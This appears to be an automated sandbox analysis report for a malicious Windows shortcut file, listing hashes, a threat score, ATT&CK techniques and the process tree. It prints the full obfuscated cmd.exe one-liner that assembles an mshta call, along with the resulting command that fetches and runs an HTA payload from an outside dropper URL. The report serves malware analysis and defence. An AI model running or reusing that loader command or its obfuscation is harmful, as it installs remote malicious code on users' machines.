03cd67906c436336a0a4a0a7d261a2f8151aaaa7c99dbc17e1908196f42ecd24

Analysis

max time kernel
38s
max time network
35s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 16:49

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General

Target
DOC-BL4GKV.lnk
Size 2KB
Sample260803-vb2q5scd47
SHA256 03cd67906c436336a0a4a0a7d261a2f8151aaaa7c99dbc17e1908196f42ecd24
MD5 6d9eba1cdfdf50844638b77132f93e5f
SHA1 58b2e121ba7da261d94fbabf49460bc497469057
SHA512 3d04e01eab5b96fb0922315ec05623ead38658c471f266be6c08863ff2d328db554253916b52e884015f76cffde8853db925bfa708c28a65293fef44f7b4add0
TLSH
T10D415B846EEA019CF2BB4F72EDFE239054BBF8626DB0C55D0C80814D1922B05E577B23
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2892	cmd.exe
3432	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 3432	2892	cmd.exe	90
PID 3432 wrote to memory of 4388	3432	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BL4GKV.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2892
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set CX=dbgdhoofotxyagkoculqdbg&&set yeKIJ=dg6stpy&&set Zem=ztoarz&&set lUyN=9mftnr&&set xMGK=loggrtxmlog&&set WJwW=logygttgkjvbwalog&&set jrn=inffbynbxggminf&&set QzyM=dbggzrvhjlwpkeohdbg&&set NC=cfgtscujrrygegchmxcfg&&set AcuUR=sysbkhesys&&set BPaf=netbbegxlwtgfsblvwnet&&set ghb=2lmsyvg&&set BGoi=vqhtvxk&&set jQ=xka9&&set TpSy=bakgjbnurpcczvsibak&&set QWNwp=sysgoghbagjzejmcymssys&&set MO=h@ttps:/@/m@a@-@p@dffiller.@l@a@t/@h@/esta@[email protected]@h@p?r=3@9@1469FB5D@82DB&&start /b !ghb:~2,2!!BGoi:~2,2!!jQ:~2,1! !MO:@=!&&set gBGY=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4388

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads